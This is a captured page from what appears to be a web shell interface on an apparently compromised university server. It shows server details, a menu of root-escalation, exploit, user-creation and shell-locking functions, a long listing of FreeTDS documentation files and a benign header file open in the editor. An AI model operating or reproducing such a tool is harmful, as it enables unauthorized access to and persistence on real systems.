Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
share /
doc /
freetds-0.91 /
reference /
[ HOME SHELL ]
Name
Size
Permission
Action
a00001.html
5.09
KB
-rw-r--r--
a00002.html
5.12
KB
-rw-r--r--
a00003.html
7.5
KB
-rw-r--r--
a00004.html
11.21
KB
-rw-r--r--
a00005.html
5.16
KB
-rw-r--r--
a00006.html
4.77
KB
-rw-r--r--
a00007.html
7.99
KB
-rw-r--r--
a00008.html
9.54
KB
-rw-r--r--
a00009.html
7.7
KB
-rw-r--r--
a00010.html
7.39
KB
-rw-r--r--
a00011.html
5.04
KB
-rw-r--r--
a00012.html
5.05
KB
-rw-r--r--
a00013.html
5.7
KB
-rw-r--r--
a00014.html
8.35
KB
-rw-r--r--
a00015.html
5.61
KB
-rw-r--r--
a00016.html
5.03
KB
-rw-r--r--
a00017.html
4.74
KB
-rw-r--r--
a00018.html
5.38
KB
-rw-r--r--
a00019.html
6.01
KB
-rw-r--r--
a00020.html
7.43
KB
-rw-r--r--
a00021.html
8.25
KB
-rw-r--r--
a00022.html
8.35
KB
-rw-r--r--
a00023.html
5.06
KB
-rw-r--r--
a00024.html
5.04
KB
-rw-r--r--
a00025.html
5.4
KB
-rw-r--r--
a00026.html
4.76
KB
-rw-r--r--
a00027.html
5.73
KB
-rw-r--r--
a00028.html
5.74
KB
-rw-r--r--
a00029.html
6.59
KB
-rw-r--r--
a00030.html
6.67
KB
-rw-r--r--
a00031.html
15.43
KB
-rw-r--r--
a00032.html
9.3
KB
-rw-r--r--
a00033.html
5.06
KB
-rw-r--r--
a00034.html
9.57
KB
-rw-r--r--
a00035.html
6.28
KB
-rw-r--r--
a00036.html
5.65
KB
-rw-r--r--
a00037.html
5.7
KB
-rw-r--r--
a00038.html
9.53
KB
-rw-r--r--
a00039.html
16.2
KB
-rw-r--r--
a00040.html
5.08
KB
-rw-r--r--
a00041.html
8.6
KB
-rw-r--r--
a00042.html
5
KB
-rw-r--r--
a00043.html
6.47
KB
-rw-r--r--
a00044.html
5.66
KB
-rw-r--r--
a00045.html
7.19
KB
-rw-r--r--
a00046.html
7.21
KB
-rw-r--r--
a00047.html
5.18
KB
-rw-r--r--
a00048.html
5.18
KB
-rw-r--r--
a00049.html
9.66
KB
-rw-r--r--
a00050.html
5.12
KB
-rw-r--r--
a00051.html
5.17
KB
-rw-r--r--
a00052.html
5.16
KB
-rw-r--r--
a00053.html
5.23
KB
-rw-r--r--
a00054.html
8.51
KB
-rw-r--r--
a00055.html
5.03
KB
-rw-r--r--
a00056.html
5.04
KB
-rw-r--r--
a00057.html
6.35
KB
-rw-r--r--
a00058.html
8.61
KB
-rw-r--r--
a00059.html
5.04
KB
-rw-r--r--
a00060.html
4.73
KB
-rw-r--r--
a00061.html
5.34
KB
-rw-r--r--
a00062.html
5.36
KB
-rw-r--r--
a00063.html
5.36
KB
-rw-r--r--
a00064.html
5.03
KB
-rw-r--r--
a00065.html
5.04
KB
-rw-r--r--
a00066.html
5.03
KB
-rw-r--r--
a00067.html
5.66
KB
-rw-r--r--
a00068.html
5.86
KB
-rw-r--r--
a00069.html
5.57
KB
-rw-r--r--
a00070.html
6.18
KB
-rw-r--r--
a00071.html
5.33
KB
-rw-r--r--
a00072.html
5.33
KB
-rw-r--r--
a00073.html
7.31
KB
-rw-r--r--
a00074.html
5.1
KB
-rw-r--r--
a00075.html
6.99
KB
-rw-r--r--
a00076.html
4.98
KB
-rw-r--r--
a00077.html
20.31
KB
-rw-r--r--
a00078.html
5.29
KB
-rw-r--r--
a00079.html
5.86
KB
-rw-r--r--
a00080.html
5.73
KB
-rw-r--r--
a00081.html
5
KB
-rw-r--r--
a00082.html
4.98
KB
-rw-r--r--
a00083.html
5.08
KB
-rw-r--r--
a00084.html
6.27
KB
-rw-r--r--
a00085.html
5.62
KB
-rw-r--r--
a00086.html
5.03
KB
-rw-r--r--
a00087.html
5.1
KB
-rw-r--r--
a00088.html
6.03
KB
-rw-r--r--
a00089.html
5.34
KB
-rw-r--r--
a00090.html
7.45
KB
-rw-r--r--
a00091.html
5.65
KB
-rw-r--r--
a00092.html
21.3
KB
-rw-r--r--
a00093.html
7.92
KB
-rw-r--r--
a00094.html
15.52
KB
-rw-r--r--
a00095.html
6.38
KB
-rw-r--r--
a00096.html
11.71
KB
-rw-r--r--
a00097.html
6.29
KB
-rw-r--r--
a00098.html
13.98
KB
-rw-r--r--
a00099.html
4.82
KB
-rw-r--r--
a00100.html
5.03
KB
-rw-r--r--
a00101.html
9.82
KB
-rw-r--r--
a00102.html
6.02
KB
-rw-r--r--
a00103.html
5.88
KB
-rw-r--r--
a00104.html
5.42
KB
-rw-r--r--
a00105.html
5.32
KB
-rw-r--r--
a00106.html
5.34
KB
-rw-r--r--
a00107.html
10.46
KB
-rw-r--r--
a00108.html
7.39
KB
-rw-r--r--
a00109.html
8.06
KB
-rw-r--r--
a00110.html
5.05
KB
-rw-r--r--
a00111.html
4.84
KB
-rw-r--r--
a00112.html
5.32
KB
-rw-r--r--
a00113.html
5.05
KB
-rw-r--r--
a00114.html
5.27
KB
-rw-r--r--
a00115.html
8.27
KB
-rw-r--r--
a00116.html
6.65
KB
-rw-r--r--
a00117.html
5.45
KB
-rw-r--r--
a00118.html
8.51
KB
-rw-r--r--
a00119.html
6.04
KB
-rw-r--r--
a00120.html
5.28
KB
-rw-r--r--
a00121.html
5.03
KB
-rw-r--r--
a00122.html
23.85
KB
-rw-r--r--
a00123.html
8.08
KB
-rw-r--r--
a00124.html
7.49
KB
-rw-r--r--
a00125.html
5.39
KB
-rw-r--r--
a00126.html
6.16
KB
-rw-r--r--
a00127.html
9.79
KB
-rw-r--r--
a00128.html
5.04
KB
-rw-r--r--
a00129.html
5.05
KB
-rw-r--r--
a00130.html
6.97
KB
-rw-r--r--
a00131.html
5.07
KB
-rw-r--r--
a00132.html
4.74
KB
-rw-r--r--
a00133.html
5.35
KB
-rw-r--r--
a00134.html
5.04
KB
-rw-r--r--
a00135.html
5.61
KB
-rw-r--r--
a00136.html
5.05
KB
-rw-r--r--
a00137.html
5.04
KB
-rw-r--r--
a00138.html
5.07
KB
-rw-r--r--
a00139_source.html
11.43
KB
-rw-r--r--
a00140_source.html
80.94
KB
-rw-r--r--
a00141_source.html
22.01
KB
-rw-r--r--
a00142_source.html
29.78
KB
-rw-r--r--
a00143_source.html
22.17
KB
-rw-r--r--
a00144_source.html
22.68
KB
-rw-r--r--
a00145_source.html
7.38
KB
-rw-r--r--
a00146_source.html
11.99
KB
-rw-r--r--
a00147_source.html
7.82
KB
-rw-r--r--
a00148_source.html
7.08
KB
-rw-r--r--
a00149_source.html
7.28
KB
-rw-r--r--
a00150_source.html
6.43
KB
-rw-r--r--
a00151_source.html
17.88
KB
-rw-r--r--
a00152_source.html
10.36
KB
-rw-r--r--
a00153_source.html
25.08
KB
-rw-r--r--
a00154_source.html
10.19
KB
-rw-r--r--
a00155_source.html
7.84
KB
-rw-r--r--
a00156.html
272.91
KB
-rw-r--r--
a00156_source.html
184.55
KB
-rw-r--r--
a00157_source.html
9.36
KB
-rw-r--r--
a00158_source.html
8.23
KB
-rw-r--r--
a00159.html
261.4
KB
-rw-r--r--
a00159_source.html
204.45
KB
-rw-r--r--
a00160_source.html
8.71
KB
-rw-r--r--
a00161_source.html
30.54
KB
-rw-r--r--
a00162_source.html
25.37
KB
-rw-r--r--
a00163_source.html
15.5
KB
-rw-r--r--
a00164_source.html
18.94
KB
-rw-r--r--
a00165_source.html
71.63
KB
-rw-r--r--
a00166_source.html
14.86
KB
-rw-r--r--
a00167_source.html
12.51
KB
-rw-r--r--
a00168_source.html
11.83
KB
-rw-r--r--
a00175_source.html
6.25
KB
-rw-r--r--
a00178_source.html
7.03
KB
-rw-r--r--
a00180_source.html
6.83
KB
-rw-r--r--
a00182_source.html
6.38
KB
-rw-r--r--
a00184_source.html
9.44
KB
-rw-r--r--
a00190.html
20.94
KB
-rw-r--r--
a00191_source.html
47.93
KB
-rw-r--r--
a00192.html
90.18
KB
-rw-r--r--
a00195_source.html
55.99
KB
-rw-r--r--
a00209_source.html
15.62
KB
-rw-r--r--
a00214_source.html
15.98
KB
-rw-r--r--
a00238_source.html
73.42
KB
-rw-r--r--
a00241_source.html
18.27
KB
-rw-r--r--
a00245_source.html
15.45
KB
-rw-r--r--
a00261_source.html
19.73
KB
-rw-r--r--
a00264_source.html
11.21
KB
-rw-r--r--
a00272_source.html
11.11
KB
-rw-r--r--
a00277_source.html
27.6
KB
-rw-r--r--
a00278_source.html
4.27
KB
-rw-r--r--
a00281_source.html
7.24
KB
-rw-r--r--
a00282_source.html
9.89
KB
-rw-r--r--
a00285.html
12.8
KB
-rw-r--r--
a00286.html
285.63
KB
-rw-r--r--
a00287.html
34.7
KB
-rw-r--r--
a00288.html
63.13
KB
-rw-r--r--
a00289.html
38.17
KB
-rw-r--r--
a00290.html
46.19
KB
-rw-r--r--
a00291.html
10.64
KB
-rw-r--r--
a00292.html
58.3
KB
-rw-r--r--
a00293.html
4.94
KB
-rw-r--r--
a00294.html
4.45
KB
-rw-r--r--
a00295.html
24.44
KB
-rw-r--r--
a00296.html
18.52
KB
-rw-r--r--
a00297.html
31.72
KB
-rw-r--r--
a00298.html
41.55
KB
-rw-r--r--
a00299.html
41.1
KB
-rw-r--r--
a00300.html
32.41
KB
-rw-r--r--
a00301.html
78.43
KB
-rw-r--r--
a00302.html
34.37
KB
-rw-r--r--
a00303.html
17.36
KB
-rw-r--r--
a00304.html
53.65
KB
-rw-r--r--
a00305.html
7.01
KB
-rw-r--r--
a00306.html
9.88
KB
-rw-r--r--
a00307.html
4.19
KB
-rw-r--r--
a00309.html
4.59
KB
-rw-r--r--
a00310.html
4.53
KB
-rw-r--r--
a00311.html
6.01
KB
-rw-r--r--
a00312.html
8.16
KB
-rw-r--r--
a00313.html
4.56
KB
-rw-r--r--
a00314.html
4.37
KB
-rw-r--r--
a00315.html
6.22
KB
-rw-r--r--
a00316.html
7.11
KB
-rw-r--r--
a00317.html
6.13
KB
-rw-r--r--
a00318.html
5.97
KB
-rw-r--r--
a00319.html
4.54
KB
-rw-r--r--
a00320.html
4.55
KB
-rw-r--r--
a00321.html
4.88
KB
-rw-r--r--
a00322.html
6.47
KB
-rw-r--r--
a00323.html
4.88
KB
-rw-r--r--
a00324.html
4.53
KB
-rw-r--r--
a00325.html
4.35
KB
-rw-r--r--
a00326.html
4.71
KB
-rw-r--r--
a00327.html
5.08
KB
-rw-r--r--
a00328.html
5.96
KB
-rw-r--r--
a00329.html
6.44
KB
-rw-r--r--
a00330.html
6.53
KB
-rw-r--r--
a00331.html
4.54
KB
-rw-r--r--
a00332.html
4.53
KB
-rw-r--r--
a00333.html
4.74
KB
-rw-r--r--
a00334.html
4.36
KB
-rw-r--r--
a00335.html
4.78
KB
-rw-r--r--
a00336.html
4.92
KB
-rw-r--r--
a00337.html
5.55
KB
-rw-r--r--
a00338.html
5.47
KB
-rw-r--r--
a00339.html
10.44
KB
-rw-r--r--
a00340.html
6.96
KB
-rw-r--r--
a00341.html
4.5
KB
-rw-r--r--
a00342.html
6.19
KB
-rw-r--r--
a00343.html
5.17
KB
-rw-r--r--
a00344.html
4.87
KB
-rw-r--r--
a00345.html
4.83
KB
-rw-r--r--
a00346.html
7.14
KB
-rw-r--r--
a00347.html
9.79
KB
-rw-r--r--
a00348.html
4.59
KB
-rw-r--r--
a00349.html
6.6
KB
-rw-r--r--
a00350.html
4.53
KB
-rw-r--r--
a00351.html
5.4
KB
-rw-r--r--
a00352.html
4.89
KB
-rw-r--r--
a00353.html
5.88
KB
-rw-r--r--
a00354.html
5.89
KB
-rw-r--r--
a00355.html
6.93
KB
-rw-r--r--
a00356.html
4.56
KB
-rw-r--r--
a00357.html
4.56
KB
-rw-r--r--
a00358.html
4.53
KB
-rw-r--r--
a00359.html
4.58
KB
-rw-r--r--
a00360.html
4.56
KB
-rw-r--r--
a00361.html
4.65
KB
-rw-r--r--
a00362.html
6.5
KB
-rw-r--r--
a00363.html
4.53
KB
-rw-r--r--
a00364.html
4.54
KB
-rw-r--r--
a00365.html
4.92
KB
-rw-r--r--
a00366.html
6.07
KB
-rw-r--r--
a00367.html
4.51
KB
-rw-r--r--
a00368.html
4.35
KB
-rw-r--r--
a00369.html
4.7
KB
-rw-r--r--
a00370.html
4.69
KB
-rw-r--r--
a00371.html
4.69
KB
-rw-r--r--
a00372.html
4.53
KB
-rw-r--r--
a00373.html
4.52
KB
-rw-r--r--
a00374.html
4.52
KB
-rw-r--r--
a00375.html
4.84
KB
-rw-r--r--
a00376.html
4.69
KB
-rw-r--r--
a00377.html
4.87
KB
-rw-r--r--
a00378.html
5.23
KB
-rw-r--r--
a00379.html
4.7
KB
-rw-r--r--
a00380.html
4.7
KB
-rw-r--r--
a00381.html
5.87
KB
-rw-r--r--
a00382.html
4.51
KB
-rw-r--r--
a00383.html
5.77
KB
-rw-r--r--
a00384.html
4.53
KB
-rw-r--r--
a00385.html
13.22
KB
-rw-r--r--
a00386.html
4.67
KB
-rw-r--r--
a00387.html
5.08
KB
-rw-r--r--
a00388.html
4.95
KB
-rw-r--r--
a00389.html
4.54
KB
-rw-r--r--
a00390.html
4.52
KB
-rw-r--r--
a00391.html
4.57
KB
-rw-r--r--
a00392.html
5.32
KB
-rw-r--r--
a00393.html
4.74
KB
-rw-r--r--
a00394.html
4.56
KB
-rw-r--r--
a00395.html
4.53
KB
-rw-r--r--
a00396.html
4.96
KB
-rw-r--r--
a00397.html
4.74
KB
-rw-r--r--
a00398.html
5.97
KB
-rw-r--r--
a00399.html
4.7
KB
-rw-r--r--
a00400.html
11.46
KB
-rw-r--r--
a00402.html
6.25
KB
-rw-r--r--
a00403.html
9.98
KB
-rw-r--r--
a00404.html
5.08
KB
-rw-r--r--
a00405.html
6.84
KB
-rw-r--r--
a00406.html
5.32
KB
-rw-r--r--
a00407.html
9.82
KB
-rw-r--r--
a00408.html
4.39
KB
-rw-r--r--
a00409.html
4.52
KB
-rw-r--r--
a00410.html
5.41
KB
-rw-r--r--
a00411.html
4.92
KB
-rw-r--r--
a00412.html
4.86
KB
-rw-r--r--
a00413.html
4.8
KB
-rw-r--r--
a00414.html
4.76
KB
-rw-r--r--
a00415.html
4.72
KB
-rw-r--r--
a00416.html
7.54
KB
-rw-r--r--
a00417.html
5.96
KB
-rw-r--r--
a00418.html
6.6
KB
-rw-r--r--
a00419.html
4.54
KB
-rw-r--r--
a00420.html
4.37
KB
-rw-r--r--
a00421.html
4.72
KB
-rw-r--r--
a00422.html
4.56
KB
-rw-r--r--
a00423.html
4.69
KB
-rw-r--r--
a00424.html
6.42
KB
-rw-r--r--
a00425.html
5.5
KB
-rw-r--r--
a00426.html
4.74
KB
-rw-r--r--
a00427.html
6.43
KB
-rw-r--r--
a00428.html
5.12
KB
-rw-r--r--
a00429.html
4.72
KB
-rw-r--r--
a00430.html
4.54
KB
-rw-r--r--
a00431.html
12.55
KB
-rw-r--r--
a00432.html
6.55
KB
-rw-r--r--
a00433.html
5.39
KB
-rw-r--r--
a00434.html
4.72
KB
-rw-r--r--
a00435.html
5.06
KB
-rw-r--r--
a00436.html
6.28
KB
-rw-r--r--
a00437.html
4.54
KB
-rw-r--r--
a00438.html
4.54
KB
-rw-r--r--
a00439.html
5.63
KB
-rw-r--r--
a00440.html
4.52
KB
-rw-r--r--
a00441.html
4.35
KB
-rw-r--r--
a00442.html
4.71
KB
-rw-r--r--
a00443.html
4.54
KB
-rw-r--r--
a00444.html
4.86
KB
-rw-r--r--
a00445.html
4.54
KB
-rw-r--r--
a00446.html
4.53
KB
-rw-r--r--
a00447.html
4.56
KB
-rw-r--r--
all_5f.html
18.52
KB
-rw-r--r--
all_62.html
18.29
KB
-rw-r--r--
all_63.html
10.46
KB
-rw-r--r--
all_64.html
153.11
KB
-rw-r--r--
all_65.html
1.16
KB
-rw-r--r--
all_66.html
1.09
KB
-rw-r--r--
all_68.html
1.89
KB
-rw-r--r--
all_69.html
3.73
KB
-rw-r--r--
all_6c.html
1.47
KB
-rw-r--r--
all_6d.html
3.15
KB
-rw-r--r--
all_6e.html
3.63
KB
-rw-r--r--
all_6f.html
2.63
KB
-rw-r--r--
all_70.html
5.48
KB
-rw-r--r--
all_71.html
3.1
KB
-rw-r--r--
all_72.html
5.05
KB
-rw-r--r--
all_73.html
4.98
KB
-rw-r--r--
all_74.html
64.33
KB
-rw-r--r--
all_75.html
1.52
KB
-rw-r--r--
all_77.html
1.52
KB
-rw-r--r--
all_79.html
1.15
KB
-rw-r--r--
annotated.html
20.04
KB
-rw-r--r--
classes_5f.html
14.23
KB
-rw-r--r--
classes_62.html
1.41
KB
-rw-r--r--
classes_63.html
2.69
KB
-rw-r--r--
classes_64.html
5.54
KB
-rw-r--r--
classes_66.html
1.09
KB
-rw-r--r--
classes_6c.html
1.09
KB
-rw-r--r--
classes_6d.html
1.68
KB
-rw-r--r--
classes_6e.html
1.71
KB
-rw-r--r--
classes_70.html
1.98
KB
-rw-r--r--
classes_73.html
1.71
KB
-rw-r--r--
classes_74.html
17.73
KB
-rw-r--r--
classes.html
17.43
KB
-rw-r--r--
close.png
273
B
-rw-r--r--
defines_62.html
1.16
KB
-rw-r--r--
defines_64.html
11.61
KB
-rw-r--r--
defines_74.html
2.67
KB
-rw-r--r--
doxygen.css
7.73
KB
-rw-r--r--
doxygen.png
1.25
KB
-rw-r--r--
enums_5f.html
1.17
KB
-rw-r--r--
enums_74.html
1.92
KB
-rw-r--r--
enumvalues_74.html
6.12
KB
-rw-r--r--
files_62.html
1.08
KB
-rw-r--r--
files_64.html
1.09
KB
-rw-r--r--
files_73.html
1.09
KB
-rw-r--r--
files_74.html
1.08
KB
-rw-r--r--
files.html
12.78
KB
-rw-r--r--
functions_5f.html
4.67
KB
-rw-r--r--
functions_62.html
16.6
KB
-rw-r--r--
functions_64.html
135.7
KB
-rw-r--r--
functions_72.html
1.15
KB
-rw-r--r--
functions_74.html
29.48
KB
-rw-r--r--
functions.html
16.38
KB
-rw-r--r--
functions_vars.html
16.3
KB
-rw-r--r--
globals_0x62.html
7.9
KB
-rw-r--r--
globals_0x64.html
32.68
KB
-rw-r--r--
globals_0x72.html
5.19
KB
-rw-r--r--
globals_0x74.html
16.61
KB
-rw-r--r--
globals_defs.html
8.37
KB
-rw-r--r--
globals_enum.html
4.98
KB
-rw-r--r--
globals_eval.html
6.31
KB
-rw-r--r--
globals_func_0x62.html
7.76
KB
-rw-r--r--
globals_func_0x64.html
29.59
KB
-rw-r--r--
globals_func_0x72.html
5.15
KB
-rw-r--r--
globals_func_0x74.html
12.83
KB
-rw-r--r--
globals_func.html
6.13
KB
-rw-r--r--
globals.html
6.27
KB
-rw-r--r--
globals_type.html
5.87
KB
-rw-r--r--
globals_vars.html
4.69
KB
-rw-r--r--
index.html
5.46
KB
-rw-r--r--
installdox
2.52
KB
-rw-r--r--
modules.html
5.2
KB
-rw-r--r--
nomatches.html
461
B
-rw-r--r--
pages.html
4.01
KB
-rw-r--r--
search.css
3.75
KB
-rw-r--r--
search.js
21.65
KB
-rw-r--r--
search.png
527
B
-rw-r--r--
tab_b.gif
35
B
-rw-r--r--
tab_l.gif
706
B
-rw-r--r--
tab_r.gif
2.52
KB
-rw-r--r--
tabs.css
1.8
KB
-rw-r--r--
typedefs_64.html
1.56
KB
-rw-r--r--
typedefs_74.html
4.85
KB
-rw-r--r--
variables_62.html
1.18
KB
-rw-r--r--
variables_63.html
8.54
KB
-rw-r--r--
variables_64.html
2.24
KB
-rw-r--r--
variables_65.html
1.16
KB
-rw-r--r--
variables_68.html
1.89
KB
-rw-r--r--
variables_69.html
3.73
KB
-rw-r--r--
variables_6c.html
1.18
KB
-rw-r--r--
variables_6d.html
2.27
KB
-rw-r--r--
variables_6e.html
2.72
KB
-rw-r--r--
variables_6f.html
2.63
KB
-rw-r--r--
variables_70.html
4.29
KB
-rw-r--r--
variables_71.html
3.1
KB
-rw-r--r--
variables_72.html
4.69
KB
-rw-r--r--
variables_73.html
3.76
KB
-rw-r--r--
variables_74.html
4.88
KB
-rw-r--r--
variables_75.html
1.52
KB
-rw-r--r--
variables_77.html
1.52
KB
-rw-r--r--
variables_79.html
1.15
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : a00162_source.html
<!-- This comment will put IE 6, 7 and 8 in quirks mode --> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <title>FreeTDS API: /home/jklowden/releases/freetds-0.91/include/tdsbytes.h Source File</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javaScript" src="search/search.js"></script> <link href="doxygen.css" rel="stylesheet" type="text/css"/> </head> <body onload='searchBox.OnSelectItem(0);'> <!-- Generated by Doxygen 1.6.3 --> <script type="text/javascript"><!-- var searchBox = new SearchBox("searchBox", "search",false,'Search'); --></script> <div class="navigation" id="top"> <div class="tabs"> <ul> <li><a href="index.html"><span>Main Page</span></a></li> <li><a href="pages.html"><span>Related Pages</span></a></li> <li><a href="modules.html"><span>Modules</span></a></li> <li><a href="annotated.html"><span>Classes</span></a></li> <li class="current"><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <img id="MSearchSelect" src="search/search.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </div> </li> </ul> </div> <div class="tabs"> <ul> <li><a href="files.html"><span>File List</span></a></li> <li><a href="globals.html"><span>File Members</span></a></li> </ul> </div> <h1>/home/jklowden/releases/freetds-0.91/include/tdsbytes.h</h1><div class="fragment"><pre class="fragment"><a name="l00001"></a>00001 <span class="comment">/* FreeTDS - Library of routines accessing Sybase and Microsoft databases</span> <a name="l00002"></a>00002 <span class="comment"> * Copyright (C) 2005-2008 Frediano Ziglio</span> <a name="l00003"></a>00003 <span class="comment"> *</span> <a name="l00004"></a>00004 <span class="comment"> * This library is free software; you can redistribute it and/or</span> <a name="l00005"></a>00005 <span class="comment"> * modify it under the terms of the GNU Library General Public</span> <a name="l00006"></a>00006 <span class="comment"> * License as published by the Free Software Foundation; either</span> <a name="l00007"></a>00007 <span class="comment"> * version 2 of the License, or (at your option) any later version.</span> <a name="l00008"></a>00008 <span class="comment"> *</span> <a name="l00009"></a>00009 <span class="comment"> * This library is distributed in the hope that it will be useful,</span> <a name="l00010"></a>00010 <span class="comment"> * but WITHOUT ANY WARRANTY; without even the implied warranty of</span> <a name="l00011"></a>00011 <span class="comment"> * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU</span> <a name="l00012"></a>00012 <span class="comment"> * Library General Public License for more details.</span> <a name="l00013"></a>00013 <span class="comment"> *</span> <a name="l00014"></a>00014 <span class="comment"> * You should have received a copy of the GNU Library General Public</span> <a name="l00015"></a>00015 <span class="comment"> * License along with this library; if not, write to the</span> <a name="l00016"></a>00016 <span class="comment"> * Free Software Foundation, Inc., 59 Temple Place - Suite 330,</span> <a name="l00017"></a>00017 <span class="comment"> * Boston, MA 02111-1307, USA.</span> <a name="l00018"></a>00018 <span class="comment"> */</span> <a name="l00019"></a>00019 <a name="l00020"></a>00020 <span class="preprocessor">#ifndef _tdsbytes_h_</span> <a name="l00021"></a>00021 <span class="preprocessor"></span><span class="preprocessor">#define _tdsbytes_h_</span> <a name="l00022"></a>00022 <span class="preprocessor"></span> <a name="l00023"></a>00023 <span class="comment">/* $Id: tdsbytes.h,v 1.5 2010/07/17 20:05:52 freddy77 Exp $ */</span> <a name="l00024"></a>00024 <a name="l00025"></a>00025 <span class="preprocessor">#ifndef _tds_h_</span> <a name="l00026"></a>00026 <span class="preprocessor"></span><span class="preprocessor">#error tds.h must be included before tdsbytes.h</span> <a name="l00027"></a>00027 <span class="preprocessor"></span><span class="preprocessor">#endif</span> <a name="l00028"></a>00028 <span class="preprocessor"></span> <a name="l00029"></a>00029 <span class="comment">/*</span> <a name="l00030"></a>00030 <span class="comment"> * read a word of n bytes aligned, architecture dependent endian</span> <a name="l00031"></a>00031 <span class="comment"> * TDS_GET_An</span> <a name="l00032"></a>00032 <span class="comment"> * read a word of n bytes aligned, little endian</span> <a name="l00033"></a>00033 <span class="comment"> * TDS_GET_AnLE</span> <a name="l00034"></a>00034 <span class="comment"> * read a word of n bytes aligned, big endian</span> <a name="l00035"></a>00035 <span class="comment"> * TDS_GET_AnBE</span> <a name="l00036"></a>00036 <span class="comment"> * read a word of n bytes unaligned, architecture dependent endian</span> <a name="l00037"></a>00037 <span class="comment"> * TDS_GET_UAn</span> <a name="l00038"></a>00038 <span class="comment"> * read a word of n bytes unaligned, little endian</span> <a name="l00039"></a>00039 <span class="comment"> * TDS_GET_UAnLE</span> <a name="l00040"></a>00040 <span class="comment"> * read a word of n bytes unaligned, big endian</span> <a name="l00041"></a>00041 <span class="comment"> * TDS_GET_UAnBE</span> <a name="l00042"></a>00042 <span class="comment"> */</span> <a name="l00043"></a>00043 <a name="l00044"></a>00044 <span class="comment">/* TODO optimize (use swap, unaligned platforms) */</span> <a name="l00045"></a>00045 <a name="l00046"></a>00046 <span class="comment">/* one byte, easy... */</span> <a name="l00047"></a>00047 <span class="preprocessor">#define TDS_GET_A1LE(ptr) (((TDS_UCHAR*)(ptr))[0])</span> <a name="l00048"></a>00048 <span class="preprocessor"></span><span class="preprocessor">#define TDS_GET_A1BE(ptr) TDS_GET_A1LE(ptr)</span> <a name="l00049"></a>00049 <span class="preprocessor"></span><span class="preprocessor">#define TDS_GET_UA1LE(ptr) TDS_GET_A1LE(ptr)</span> <a name="l00050"></a>00050 <span class="preprocessor"></span><span class="preprocessor">#define TDS_GET_UA1BE(ptr) TDS_GET_A1LE(ptr)</span> <a name="l00051"></a>00051 <span class="preprocessor"></span> <a name="l00052"></a>00052 <span class="preprocessor">#define TDS_PUT_A1LE(ptr,val) do { ((TDS_UCHAR*)(ptr))[0] = (val); } while(0)</span> <a name="l00053"></a>00053 <span class="preprocessor"></span><span class="preprocessor">#define TDS_PUT_A1BE(ptr,val) TDS_PUT_A1LE(ptr,val)</span> <a name="l00054"></a>00054 <span class="preprocessor"></span><span class="preprocessor">#define TDS_PUT_UA1LE(ptr,val) TDS_PUT_A1LE(ptr,val)</span> <a name="l00055"></a>00055 <span class="preprocessor"></span><span class="preprocessor">#define TDS_PUT_UA1BE(ptr,val) TDS_PUT_A1LE(ptr,val)</span> <a name="l00056"></a>00056 <span class="preprocessor"></span> <a name="l00057"></a>00057 <span class="comment">/* two bytes */</span> <a name="l00058"></a>00058 <span class="preprocessor">#define TDS_GET_UA2LE(ptr) (((TDS_UCHAR*)(ptr))[1] * 0x100u + ((TDS_UCHAR*)(ptr))[0])</span> <a name="l00059"></a>00059 <span class="preprocessor"></span><span class="preprocessor">#define TDS_GET_UA2BE(ptr) (((TDS_UCHAR*)(ptr))[0] * 0x100u + ((TDS_UCHAR*)(ptr))[1])</span> <a name="l00060"></a>00060 <span class="preprocessor"></span><span class="preprocessor">#define TDS_GET_A2LE(ptr) TDS_GET_UA2LE(ptr)</span> <a name="l00061"></a>00061 <span class="preprocessor"></span><span class="preprocessor">#define TDS_GET_A2BE(ptr) TDS_GET_UA2BE(ptr)</span> <a name="l00062"></a>00062 <span class="preprocessor"></span> <a name="l00063"></a>00063 <span class="preprocessor">#define TDS_PUT_UA2LE(ptr,val) do {\</span> <a name="l00064"></a>00064 <span class="preprocessor"> ((TDS_UCHAR*)(ptr))[1] = (TDS_UCHAR)((val)>>8); ((TDS_UCHAR*)(ptr))[0] = (TDS_UCHAR)(val); } while(0)</span> <a name="l00065"></a>00065 <span class="preprocessor"></span><span class="preprocessor">#define TDS_PUT_UA2BE(ptr,val) do {\</span> <a name="l00066"></a>00066 <span class="preprocessor"> ((TDS_UCHAR*)(ptr))[0] = (TDS_UCHAR)((val)>>8); ((TDS_UCHAR*)(ptr))[1] = (TDS_UCHAR)(val); } while(0)</span> <a name="l00067"></a>00067 <span class="preprocessor"></span><span class="preprocessor">#define TDS_PUT_A2LE(ptr,val) TDS_PUT_UA2LE(ptr,val)</span> <a name="l00068"></a>00068 <span class="preprocessor"></span><span class="preprocessor">#define TDS_PUT_A2BE(ptr,val) TDS_PUT_UA2BE(ptr,val)</span> <a name="l00069"></a>00069 <span class="preprocessor"></span> <a name="l00070"></a>00070 <span class="comment">/* four bytes */</span> <a name="l00071"></a>00071 <span class="preprocessor">#define TDS_GET_UA4LE(ptr) \</span> <a name="l00072"></a>00072 <span class="preprocessor"> (((TDS_UCHAR*)(ptr))[3] * 0x1000000u + ((TDS_UCHAR*)(ptr))[2] * 0x10000u +\</span> <a 